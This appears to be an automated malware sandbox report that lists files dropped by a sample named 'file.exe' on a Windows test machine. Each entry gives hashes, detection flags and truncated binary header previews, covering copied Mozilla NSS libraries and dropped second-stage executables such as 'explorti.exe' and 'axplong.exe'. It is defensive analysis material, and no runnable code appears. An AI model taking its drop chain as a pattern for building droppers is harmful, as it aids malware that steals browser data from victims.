Preview:	MDMP..a..... .......GK.f............4...............<.......D...0*..........T.......8...........T...........`2..g...........X...........D...............................................................................eJ..............GenuineIntel............T.......`...DK.f............................. ..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC51E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8340
Entropy (8bit):	3.69446772838032
Encrypted:	false
SSDEEP:	192:R6l7wVeJtp6uRtpKgIXKge6Y2D/SUOMO9gmfMvpDt89bCbEsf68jm:R6lXJT6MtpmXk6YSSUOMO9gmfMQCb3f0
MD5:	C3B749209239616625981983BB59896D
SHA1:	A015EE4116C440B28E2709EAE91A6E1A18FA44C1
SHA-256:	50D1749BD37FBBD9CE1D25B85F532BB2371A16B06B15E3F3BB03FE29842BD720
SHA-512:	204A0A2DBAEF3F709173302DF6C78BFEE9EA34BCDF28C0610F09F3EFA21D5183260D51444C3D7AEBFCB75EC9B4267EC636FC676E55375C3D0DAB103CBB59ED54
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.5.2.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC54E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.44218314046011
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI9d6WpW8VYel5Ym8M4JrunFqd+q8cPVRB/ad:uIjf4I7r77VRloJr9dRdRB/ad
MD5:	DFB175536076860ABFAC826CAA6E8B29
SHA1:	37D635D4EA03A51A96970B6856FF49C3E619479A
SHA-256:	BF851AC18FDB8C79BE619F9EA08108E536E2F3915C8EB5BC85BB51A3BDDC5A37
SHA-512:	4EF5F4B88EE69A1605FB1FE01C2839CBD92CDAAB974FA529D4D36E5BD886E0966FE4ACADF554277C18339E200921C38A55DEED73149049EC47BF0BB835ED3600
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="428662" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse Filename: IRqsWvBBMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1lKbb2hF7fYToopfpmEvlyRN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6SoKuOqyNh.exe, Detection: malicious, Browse Filename: IRqsWvBBMc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userIJKFHIIEHI.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931776
Entropy (8bit):	7.949829735835362
Encrypted:	false
SSDEEP:	49152:EpLGI21Bcevr5sJOv7UKjlhqcaMjejynhKUjjVBdRJHZ:E92HBQeaAejOKU3VBd
MD5:	A60C50F8BEE9EC4C4302415C6C3378A5
SHA1:	F038D832E58382417C8CA811F2CD5F774D9F5347
SHA-256:	3460767F5B1F7B34BE4F09380909AD66BB3E9F398B72DEF9A58EAA2704FB9317
SHA-512:	D0EF2127D3B0CDB73BB982D8C5536A2CAB7B1D52F590F7F31FF94D0108A5391B59FAB45D44972B439CFAC018B6D66E00F9B2674997D4C13E20CA9079FCD3079E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................pL...........@...........................L.....}.....@.................................W...k............................\L.............................D\L..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...yhecmkmx.`....2..`..................@...vkijaizt.....`L......T..............@....taggant.0...pL.."...X..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	250368
Entropy (8bit):	6.034216220616155
Encrypted:	false
SSDEEP:	3072:8COU4fRBfYChgFH+7H0tZk+KjRLTyl8A4WR1kuw8Zry3sclrrl5HO:vJ4frgChgU4ZHQhT3A4sSu7WR/l
MD5:	0EF35662ABBE44CF6E064CB524B10742
SHA1:	E022EBFC8011CDDA89BD682001807E87F29DE564
SHA-256:	5ADCB9C55CB600170C65B603951EF9B4A9A6E6DD95A7EED765A371BF51D2719E
SHA-512:	86362E5CFD03A9ADFC030BDF3DF34D11A8F0A9799615F0204B96167CD1F81986DE62F2533800D6D590041BCCE7793C62D022E2D623532AD995D582D2EE7B3AFB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Tg.s... ... ... .pQ ... .pd ... .pP t.. .~i ... ... d.. .pU ... .p` ... .pg ... Rich... ........PE..L...,..e.....................x....... .......0....@..........................`...............................................X..x...................................\Y...............................S..@............0...............................text...p........................... ..`.rdata...2...0...4..................@..@.data........p.......R..............@....casiwid............................@..@.mufu................2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.95061241100248
Encrypted:	false
SSDEEP:	49152:oesLWpWv36f8pRzcSmELCr5B8XEk7eJxjlYtJcd4njbq+UqH:oevmqERzcSmx5+yfjKtJcKnHq+UqH
MD5:	AE367D31031D846711863B026D7E4889
SHA1:	2FDF70F92E0429C0F14E45A573D50DA477074344
SHA-256:	A5A2F9943D033F7F04AD8670956189C13E82F977184852964D1523BBD17D3706
SHA-512:	567F1D1828C6839C4A591A3D40880BF69DBBBB3862C4DDD25CA06D09D717B0926C65924444411EEE3C2BD2DDB119F5D6DC617FE983B84277D3E9C076A335D921
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................L.....v.....@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...nvdlapfi......1.....................@...gasiylgr......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\userIJKFHIIEHI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1931776
Entropy (8bit):	7.949829735835362
Encrypted:	false
SSDEEP:	49152:EpLGI21Bcevr5sJOv7UKjlhqcaMjejynhKUjjVBdRJHZ:E92HBQeaAejOKU3VBd
MD5:	A60C50F8BEE9EC4C4302415C6C3378A5
SHA1:	F038D832E58382417C8CA811F2CD5F774D9F5347
SHA-256:	3460767F5B1F7B34BE4F09380909AD66BB3E9F398B72DEF9A58EAA2704FB9317
SHA-512:	D0EF2127D3B0CDB73BB982D8C5536A2CAB7B1D52F590F7F31FF94D0108A5391B59FAB45D44972B439CFAC018B6D66E00F9B2674997D4C13E20CA9079FCD3079E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................pL...........@...........................L.....}.....@.................................W...k............................\L.............................D\L..................................................... . ............................@....rsrc...............................@....idata ............................@... .P+.........................@...yhecmkmx.`....2..`..................@...vkijaizt.....`L......T..............@....taggant.0...pL.."...X..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.95061241100248
Encrypted:	false
SSDEEP:	49152:oesLWpWv36f8pRzcSmELCr5B8XEk7eJxjlYtJcd4njbq+UqH:oevmqERzcSmx5+yfjKtJcKnHq+UqH
MD5:	AE367D31031D846711863B026D7E4889
SHA1:	2FDF70F92E0429C0F14E45A573D50DA477074344
SHA-256:	A5A2F9943D033F7F04AD8670956189C13E82F977184852964D1523BBD17D3706
SHA-512:	567F1D1828C6839C4A591A3D40880BF69DBBBB3862C4DDD25CA06D09D717B0926C65924444411EEE3C2BD2DDB119F5D6DC617FE983B84277D3E9C076A335D921
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................L.....v.....@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...nvdlapfi......1.....................@...gasiylgr......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
